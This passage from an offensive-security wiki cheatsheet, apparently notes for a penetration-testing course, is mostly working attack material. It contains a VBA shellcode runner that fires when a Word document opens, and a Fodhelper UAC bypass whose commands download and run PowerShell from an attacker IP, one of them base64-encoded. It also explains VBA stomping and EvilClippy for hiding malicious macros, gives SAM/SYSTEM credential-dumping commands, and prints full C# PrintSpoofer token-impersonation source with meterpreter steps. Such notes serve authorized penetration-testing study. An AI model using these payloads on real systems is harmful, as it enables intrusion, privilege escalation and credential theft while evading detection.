&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== VBA ===&lt;br /&gt;
&lt;br /&gt;
Create a macro in Word (See cheatsheet I) and insert code.&lt;br /&gt;
&lt;br /&gt;
If Word is running in 64-bit the code below will need changes.&lt;br /&gt;
&lt;br /&gt;
[https://forums.offsec.com/showthread.php?40409-VBA-Shellcode-Runner-Compile-Error-Type-Mismatch VBA Shellcode Runner - Compile Error: Type Mismatch (offsec.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# For the code below to work in 64-bit Word.&lt;br /&gt;
# If you&#039;re still looking for an answer to this, I ran into the same problem but managed to get it working for 64-bit as well. I had to change the three lines below.&lt;br /&gt;
# First, I modified the declare statement for RtlMoveMemory to not return anything anymore and changed it from Function to Sub. I&#039;m not sure why the type needed to change, but Word crashed when I used Function and worked with Sub. The documentation just says Function can return a value, while Sub can&#039;t, so maybe it has to do with my not returning anything anymore.&lt;br /&gt;
Code:&lt;br /&gt;
Private Declare PtrSafe Sub RtlMoveMemory Lib &amp;quot;KERNEL32&amp;quot; (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long)&lt;br /&gt;
# Second, I changed the line calling RtlMoveMemory since it&#039;s not returning anything anymore.&lt;br /&gt;
Code:&lt;br /&gt;
Call RtlMoveMemory(addr + counter, data, 1)&lt;br /&gt;
# After making these changes it didn&#039;t error on RtlMoveMemory anymore, but instead gave the same mismatch error for CreateThread. That one was fixed by changing the creation statement for the res variable to be a LongPtr instead of Long to match what the declare statement for CreateThread says it will return.&lt;br /&gt;
Code:&lt;br /&gt;
Dim res As LongPtr&lt;br /&gt;
# After these changes and updating the shellcode to be a 64-bit version of meterpreter, the callback worked.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Private Declare PtrSafe Function CreateThread Lib &amp;quot;KERNEL32&amp;quot; (ByVal SecurityAttributes As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr&lt;br /&gt;
Private Declare PtrSafe Function VirtualAlloc Lib &amp;quot;KERNEL32&amp;quot; (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr&lt;br /&gt;
Private Declare PtrSafe Function RtlMoveMemory Lib &amp;quot;KERNEL32&amp;quot; (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtr&lt;br /&gt;
Function MyMacro()&lt;br /&gt;
Dim buf As Variant&lt;br /&gt;
Dim addr As LongPtr&lt;br /&gt;
Dim counter As Long&lt;br /&gt;
Dim data As Long&lt;br /&gt;
Dim res As Long&lt;br /&gt;
buf = Array(INSERT SHELLCODE HERE)&lt;br /&gt;
addr = VirtualAlloc(0, UBound(buf), &amp;amp;H3000, &amp;amp;H40)&lt;br /&gt;
For counter = LBound(buf) To UBound(buf)&lt;br /&gt;
data = buf(counter)&lt;br /&gt;
res = RtlMoveMemory(addr + counter, data, 1)&lt;br /&gt;
Next counter&lt;br /&gt;
res = CreateThread(0, 0, addr, 0, 0, 0)&lt;br /&gt;
End Function&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== UAC Bypass ==&lt;br /&gt;
&lt;br /&gt;
https://book.ghanim.no/?p=2698#UAC_Bypass&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/wp-content/uploads/2023/09/Windows-11-Privilege-Escalation-via-UAC-Bypass-GUI-based-–-PwnDefend.pdf Windows-11-Privilege-Escalation-via-UAC-Bypass-GUI-based-–-PwnDefend][https://book.ghanim.no/wp-content/uploads/2023/09/Windows-11-Privilege-Escalation-via-UAC-Bypass-GUI-based-–-PwnDefend.pdf Download]&lt;br /&gt;
&lt;br /&gt;
=== Fodhelper.exe ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$yourevilcommand = &#039;powershell.exe -c &amp;quot;IEX(New-Object Net.WebClient).DownloadString(&#039;&#039;http://192.168.45.198/run3.txt&#039;&#039;)&amp;quot;&#039;&lt;br /&gt;
&lt;br /&gt;
New-Item &amp;quot;HKCU:\Software\Classes\ms-settings\Shell\Open\command&amp;quot; -Force&lt;br /&gt;
&lt;br /&gt;
New-ItemProperty -Path &amp;quot;HKCU:\Software\Classes\ms-settings\Shell\Open\command&amp;quot; -Name &amp;quot;DelegateExecute&amp;quot; -Value &amp;quot;&amp;quot; -Force&lt;br /&gt;
&lt;br /&gt;
Set-ItemProperty -Path &amp;quot;HKCU:\Software\Classes\ms-settings\Shell\Open\command&amp;quot; -Name &amp;quot;(default)&amp;quot; -Value $yourevilcommand -Force&lt;br /&gt;
&lt;br /&gt;
Start-Process &amp;quot;C:\Windows\System32\fodhelper.exe&amp;quot; -WindowStyle Hidden&lt;br /&gt;
&lt;br /&gt;
Remove-Item &amp;quot;HKCU:\Software\Classes\ms-settings\&amp;quot; -Recurse -Force&lt;br /&gt;
&lt;br /&gt;
------------------------&lt;br /&gt;
function RegStuff {&lt;br /&gt;
    $cmd = &amp;quot;C:\Windows\Tasks\foo.exe -enc aQBlAHgAKABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAHMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgA0ADkALgA2ADgALwByAGUALgBwAHMAMQAnACkA&amp;quot;&lt;br /&gt;
    copy C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Tasks\foo.exe&lt;br /&gt;
    Remove-Item &amp;quot;HKCU:\Software\Classes\ms-settings\&amp;quot; -Recurse -Force -ErrorAction SilentlyContinue&lt;br /&gt;
    New-Item &amp;quot;HKCU:\Software\Classes\ms-settings\Shell\Open\command&amp;quot; -Force&lt;br /&gt;
    New-ItemProperty -Path &amp;quot;HKCU:\Software\Classes\ms-settings\Shell\Open\command&amp;quot; -Name &amp;quot;DelegateExecute&amp;quot; -Value &amp;quot;&amp;quot; -Force&lt;br /&gt;
    Set-ItemProperty -Path &amp;quot;HKCU:\Software\Classes\ms-settings\Shell\Open\command&amp;quot; -Name &amp;quot;(default)&amp;quot; -Value $cmd -Force&lt;br /&gt;
}&lt;br /&gt;
function PrivEsc {&lt;br /&gt;
    Start-Process &amp;quot;C:\Windows\System32\fodhelper.exe&amp;quot; -WindowStyle Hidden&lt;br /&gt;
    Start-Sleep -s 3&lt;br /&gt;
    Remove-Item &amp;quot;HKCU:\Software\Classes\ms-settings\&amp;quot; -Recurse -Force -ErrorAction SilentlyContinue&lt;br /&gt;
}&lt;br /&gt;
RegStuff&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== VBA Stomping ==&lt;br /&gt;
&lt;br /&gt;
A technique to reduce detection rates by manipulating the VBA macro content in Microsoft Word and Excel documents.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Tools&#039;&#039;&#039;:&lt;br /&gt;
&#039;&#039;&#039;Hex Editor&#039;&#039;&#039;: For inspecting contents of unzipped modern files&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;FlexHEX&#039;&#039;&#039;: To inspect and edit the files&lt;br /&gt;
&lt;br /&gt;
==== Steps to Perform VBA Stomping ====&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Inspect Shellcode Runner&#039;&#039;&#039;&lt;br /&gt;
Use custom tools to inspect existing shellcode runners.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Understanding File Formats&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Old Format&#039;&#039;&#039;: Compound File Binary Format.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;New Format&#039;&#039;&#039;: Similar to .zip files.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Using FlexHEX&#039;&#039;&#039;&lt;br /&gt;
Open FlexHEX.&lt;br /&gt;
&lt;br /&gt;
* Navigate to  ​File &amp;gt; Open &amp;gt; OLE Compound File​ .&lt;br /&gt;
&lt;br /&gt;
* Open the Word document to inspect it.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Inspect Macro Information&#039;&#039;&#039;&lt;br /&gt;
For modern files, macros are stored in  ​vbaProject.bin​  inside the zipped archive.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Editing Macros&#039;&#039;&#039;&lt;br /&gt;
Edit the  ​PROJECT​  file in the navigator window to remove links to macros, using  ​Edit &amp;gt; Insert Zero Block​ .&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Understanding P-Code&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;P-Code&#039;&#039;&#039;: Cached and compiled version of VBA textual code, specific to the Office and VBA version it was created on.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage&#039;&#039;&#039;: Used to execute macros faster on the same version of Office, bypassing VBA interpreter translation.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Performing VBA Stomping&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Goal&#039;&#039;&#039;: Remove VBA source code while retaining P-code to bypass detection but still execute the code.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;How&#039;&#039;&#039;:&lt;br /&gt;
Open the document in FlexHEX.&lt;br /&gt;
&lt;br /&gt;
* Locate the VBA source code in  ​NewMacros​ .&lt;br /&gt;
&lt;br /&gt;
* Select all bytes from “Attribute VB_Name” and remove it using  ​Edit &amp;gt; Insert Zero Block​ .&lt;br /&gt;
&lt;br /&gt;
* Save and re-compress the document.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Testing&#039;&#039;&#039;&lt;br /&gt;
Open the edited document in Word.&lt;br /&gt;
&lt;br /&gt;
* Note: The VBA source code should be visually removed, but the P-code still executes, enabling the attack to work.&lt;br /&gt;
&lt;br /&gt;
=== Automating VBA Stomping Using Evil Clippy ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/outflanknl/EvilClippy GitHub - outflanknl/EvilClippy: A cross-platform assistant for creating malicious MS Office documents. Can hide VBA macros, stomp VBA code (via P-Code) and confuse macro analysis tools. Runs on Linux, OSX and Windows.]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
EvilClippy.exe -s fake.vbs -g -r cobaltstrike.doc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[https://outflank.nl/blog/2019/05/05/evil-clippy-ms-office-maldoc-assistant/ Evil Clippy: MS Office maldoc assistant | Outflank]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Usage Examples&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Print help: &amp;lt;code&amp;gt;EvilClippy.exe -h&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Hide macros from GUI: &amp;lt;code&amp;gt;EvilClippy.exe -g macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Unhide macros: &amp;lt;code&amp;gt;EvilClippy.exe -gg macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Stomp VBA (abuse P-code): &amp;lt;code&amp;gt;EvilClippy.exe -s fakecode.vba macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Set target Office version for VBA stomping: &amp;lt;code&amp;gt;EvilClippy.exe -s fakecode.vba -t 2016x86 macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Set random module names: &amp;lt;code&amp;gt;EvilClippy.exe -r macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Reset random module names: &amp;lt;code&amp;gt;EvilClippy.exe -rr macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Serve a VBA stomped template via HTTP: &amp;lt;code&amp;gt;EvilClippy.exe -s fakecode.vba -w 8080 macrofile.dot&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Set Locked/Unviewable attributes: &amp;lt;code&amp;gt;EvilClippy.exe -u macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Remove Locked/Unviewable attributes: &amp;lt;code&amp;gt;EvilClippy.exe -uu macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Windows Credentials ==&lt;br /&gt;
&lt;br /&gt;
=== SAM database ===&lt;br /&gt;
&lt;br /&gt;
See Cheatsheet I for methods on how to obtain the SAM database and extract the hashes.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Shadow Volume Copy Workaround&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Create a snapshot of the local hard drive using &#039;&#039;&#039;WMIC. &#039;&#039;&#039;Need to launch from an administrative command prompt:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\&amp;gt; wmic shadowcopy call create Volume=&#039;C:\&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Verify shadow volume:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\&amp;gt; vssadmin list shadows&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Copy SAM from shadow volume:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\&amp;gt; copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\sam C:\users\offsec.corp1\Downloads\sam&lt;br /&gt;
Note: Run above command in  ​cmd.exe​ , not in PowerShell.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Encrypting SAM Database&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
SAM is encrypted by &#039;&#039;&#039;RC4&#039;&#039;&#039; or &#039;&#039;&#039;AES&#039;&#039;&#039;. Encryption keys are in the  ​SYSTEM​  file. Copy SYSTEM file:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\&amp;gt; copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system C:\users\offsec.corp1\Downloads\system&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Save SAM and SYSTEM from Registry&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Using  ​reg save​  command:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\&amp;gt; reg save HKLM\sam C:\users\offsec.corp1\Downloads\sam&lt;br /&gt;
C:\&amp;gt; reg save HKLM\system C:\users\offsec.corp1\Downloads\system&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Read SAM, SYSTEM and SECURITY&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
impacket-secretsdump -sam SAM -security SECURITY -system SYSTEM LOCAL&lt;br /&gt;
# Or using creddump&lt;br /&gt;
https://github.com/Neohapsis/creddump7&lt;br /&gt;
python pwdump.py /home/kali/system /home/kali/sam&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Access Tokens ===&lt;br /&gt;
&lt;br /&gt;
* Access tokens track user&#039;s access rights after authentication.&lt;br /&gt;
&lt;br /&gt;
* They are assigned to each process associated with the user.&lt;br /&gt;
&lt;br /&gt;
* Access tokens are stored inside the kernel, preventing direct modification.&lt;br /&gt;
&lt;br /&gt;
==== PrintSpoofer.exe ====&lt;br /&gt;
&lt;br /&gt;
The code below will open a pipe and wait for a authentication. Instead, you can use PrintSpoofer from itm4n and compile it. This will give SYSTEM shell directly. To evade detection the code can be obfuscated.&lt;br /&gt;
&lt;br /&gt;
[https://github.com/itm4n/PrintSpoofer GitHub - itm4n/PrintSpoofer: Abusing impersonation privileges through the &amp;quot;Printer Bug&amp;quot;]&lt;br /&gt;
&lt;br /&gt;
* SeImpersonatePrivilege allows us to impersonate any token for which we can get a reference, or&lt;br /&gt;
handle.&lt;br /&gt;
&lt;br /&gt;
* We will use [https://github.com/leechristensen/SpoolSample SpoolSample.exe] to coerce Windows hosts to authenticate to other machines via the MS-RPRN RPC interface.&lt;br /&gt;
&lt;br /&gt;
* We will use the code below to simulate a print client. The code will create a pipe server, wait for a connection, and attempt to impersonate the client that connects to it.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Security.Principal;&lt;br /&gt;
using System.Text;&lt;br /&gt;
namespace PrintSpoofer&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public static uint PIPE_ACCESS_DUPLEX = 0x3;&lt;br /&gt;
        public static uint PIPE_TYPE_BYTE = 0x0;&lt;br /&gt;
        public static uint PIPE_WAIT = 0x0;&lt;br /&gt;
        public static uint TOKEN_ALL_ACCESS = 0xF01FF;&lt;br /&gt;
        public static uint TOKENUSER = 1;&lt;br /&gt;
        public static uint SECURITY_IMPERSONATION = 2;&lt;br /&gt;
        public static uint TOKEN_PRIMARY = 1;&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        public struct PROCESS_INFORMATION&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr hProcess;&lt;br /&gt;
            public IntPtr hThread;&lt;br /&gt;
            public int dwProcessId;&lt;br /&gt;
            public int dwThreadId;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]&lt;br /&gt;
        public struct STARTUPINFO&lt;br /&gt;
        {&lt;br /&gt;
            public Int32 cb;&lt;br /&gt;
            public string lpReserved;&lt;br /&gt;
            public string lpDesktop;&lt;br /&gt;
            public string lpTitle;&lt;br /&gt;
            public Int32 dwX;&lt;br /&gt;
            public Int32 dwY;&lt;br /&gt;
            public Int32 dwXSize;&lt;br /&gt;
            public Int32 dwYSize;&lt;br /&gt;
            public Int32 dwXCountChars;&lt;br /&gt;
            public Int32 dwYCountChars;&lt;br /&gt;
            public Int32 dwFillAttribute;&lt;br /&gt;
            public Int32 dwFlags;&lt;br /&gt;
            public Int16 wShowWindow;&lt;br /&gt;
            public Int16 cbReserved2;&lt;br /&gt;
            public IntPtr lpReserved2;&lt;br /&gt;
            public IntPtr hStdInput;&lt;br /&gt;
            public IntPtr hStdOutput;&lt;br /&gt;
            public IntPtr hStdError;&lt;br /&gt;
        }&lt;br /&gt;
        public enum CreationFlags&lt;br /&gt;
        {&lt;br /&gt;
            DefaultErrorMode = 0x04000000,&lt;br /&gt;
            NewConsole = 0x00000010,&lt;br /&gt;
            NewProcessGroup = 0x00000200,&lt;br /&gt;
            SeparateWOWVDM = 0x00000800,&lt;br /&gt;
            Suspended = 0x00000004,&lt;br /&gt;
            UnicodeEnvironment = 0x00000400,&lt;br /&gt;
            ExtendedStartupInfoPresent = 0x00080000&lt;br /&gt;
        }&lt;br /&gt;
        public enum LogonFlags&lt;br /&gt;
        {&lt;br /&gt;
            WithProfile = 1,&lt;br /&gt;
            NetCredentialsOnly&lt;br /&gt;
        }&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern IntPtr CreateNamedPipe(string lpName, uint dwOpenMode, uint dwPipeMode, uint nMaxInstances, uint nOutBufferSize, uint nInBufferSize, uint nDefaultTimeOut, IntPtr lpSecurityAttributes);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool ConnectNamedPipe(IntPtr hNamedPipe, IntPtr lpOverlapped);&lt;br /&gt;
        [DllImport(&amp;quot;Advapi32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool ImpersonateNamedPipeClient(IntPtr hNamedPipe);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool OpenThreadToken(IntPtr ThreadHandle, uint DesiredAccess, bool OpenAsSelf, out IntPtr TokenHandle);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr GetCurrentThread();&lt;br /&gt;
        [DllImport(&amp;quot;advapi32&amp;quot;, SetLastError = true, CharSet = CharSet.Unicode)]&lt;br /&gt;
        public static extern bool CreateProcessWithTokenW(IntPtr hToken, LogonFlags dwLogonFlags, string lpApplicationName, string lpCommandLine, CreationFlags dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, CharSet = CharSet.Auto, SetLastError = true)]&lt;br /&gt;
        public extern static bool DuplicateTokenEx(IntPtr hExistingToken, uint dwDesiredAccess, IntPtr lpTokenAttributes, uint ImpersonationLevel, uint TokenType, out IntPtr phNewToken);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool RevertToSelf();&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern uint GetSystemDirectory([Out] StringBuilder lpBuffer, uint uSize);&lt;br /&gt;
        [DllImport(&amp;quot;userenv.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool CreateEnvironmentBlock(out IntPtr lpEnvironment, IntPtr hToken, bool bInherit);&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Parse arguments (pipe name)&lt;br /&gt;
            if (args.Length != 2)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Please enter the pipe name to be used and the binary to trigger as arguments.\nExample: .\\PrintSpoofer.exe \\\\.\\pipe\\test\\pipe\\spoolss c:\\windows\\tasks\\bin.exe&amp;quot;);&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            string pipeName = args[0];&lt;br /&gt;
            string binToRun = args[1];&lt;br /&gt;
            // Create our named pipe&lt;br /&gt;
            IntPtr hPipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_BYTE | PIPE_WAIT, 10, 0x1000, 0x1000, 0, IntPtr.Zero);&lt;br /&gt;
            // Connect to our named pipe and wait for another client to connect&lt;br /&gt;
            Console.WriteLine(&amp;quot;Waiting for client to connect to named pipe...&amp;quot;);&lt;br /&gt;
            bool result = ConnectNamedPipe(hPipe, IntPtr.Zero);&lt;br /&gt;
            // Impersonate the token of the incoming connection&lt;br /&gt;
            result = ImpersonateNamedPipeClient(hPipe);&lt;br /&gt;
            // Open a handle on the impersonated token&lt;br /&gt;
            IntPtr tokenHandle;&lt;br /&gt;
            result = OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, false, out tokenHandle);&lt;br /&gt;
            // Duplicate the stolen token&lt;br /&gt;
            IntPtr sysToken = IntPtr.Zero;&lt;br /&gt;
            DuplicateTokenEx(tokenHandle, TOKEN_ALL_ACCESS, IntPtr.Zero, SECURITY_IMPERSONATION, TOKEN_PRIMARY, out sysToken);&lt;br /&gt;
            // Create an environment block for the non-interactive session&lt;br /&gt;
            IntPtr env = IntPtr.Zero;&lt;br /&gt;
            bool res = CreateEnvironmentBlock(out env, sysToken, false);&lt;br /&gt;
            // Get the impersonated identity and revert to self to ensure we have impersonation privs&lt;br /&gt;
            String name = WindowsIdentity.GetCurrent().Name;&lt;br /&gt;
            Console.WriteLine($&amp;quot;Impersonated user is: {name}.&amp;quot;);&lt;br /&gt;
            RevertToSelf();&lt;br /&gt;
            // Get the system directory&lt;br /&gt;
            StringBuilder sbSystemDir = new StringBuilder(256);&lt;br /&gt;
            uint res1 = GetSystemDirectory(sbSystemDir, 256);&lt;br /&gt;
            // Spawn a new process with the duplicated token, a desktop session, and the created profile&lt;br /&gt;
            PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();&lt;br /&gt;
            STARTUPINFO sInfo = new STARTUPINFO();&lt;br /&gt;
            sInfo.cb = Marshal.SizeOf(sInfo);&lt;br /&gt;
            sInfo.lpDesktop = &amp;quot;WinSta0\\Default&amp;quot;;&lt;br /&gt;
            CreateProcessWithTokenW(sysToken, LogonFlags.WithProfile, null, binToRun, CreationFlags.UnicodeEnvironment, env, sbSystemDir.ToString(), ref sInfo, out pInfo);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Executed &#039;{binToRun}&#039; with impersonated token!&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 1 - Compile the code (PrintSpoofer.exe) above and compile a meterpreter reverse shell&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Transfer to target.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 2 - Start the&#039;&#039;&#039; &#039;&#039;&#039;PrintSpoofer.exe&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Specify the meterpreter binary&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
PrintSpoofer.exe \\.\pipe\test\pipe\spoolss C:windows\tasts\bin.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 3 - Coerce Windows to authenticate&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Use SpoolSample.exe to authenticate.&lt;br /&gt;
&lt;br /&gt;
* When a file path is supplied to a Win32 API, directory separators are converted to a canonical form. Forward slashes (“/”) are converted to backward slashes (“\”). This process is known as file path normalization.&lt;br /&gt;
&lt;br /&gt;
* If &amp;lt;code&amp;gt;SpoolSample&amp;lt;/code&amp;gt; is provided with a pipe name containing a forward slash after the hostname (e.g., “appsrv01/test”), the spooler service appends the default name “pipe\spoolss” before processing.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
SpoolSample.exe appsrv01 appsrv01/pipe/test&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 4 - bin.exe executed in the context of impersonated token&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== Using Meterpreter to impersonate users ====&lt;br /&gt;
&lt;br /&gt;
* Using the meterpreter sesison with SYSTEM shell we can impersonate tokens without using mimikatz.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Steps&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Load Incognito Extension&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 meterpreter &amp;gt; load incognito&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Display Available Commands&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
meterpreter &amp;gt; help incognito&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Key Commands&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;add_group_user​ &amp;lt;/code&amp;gt;: Add a user to a global group with all tokens.&lt;br /&gt;
&lt;br /&gt;
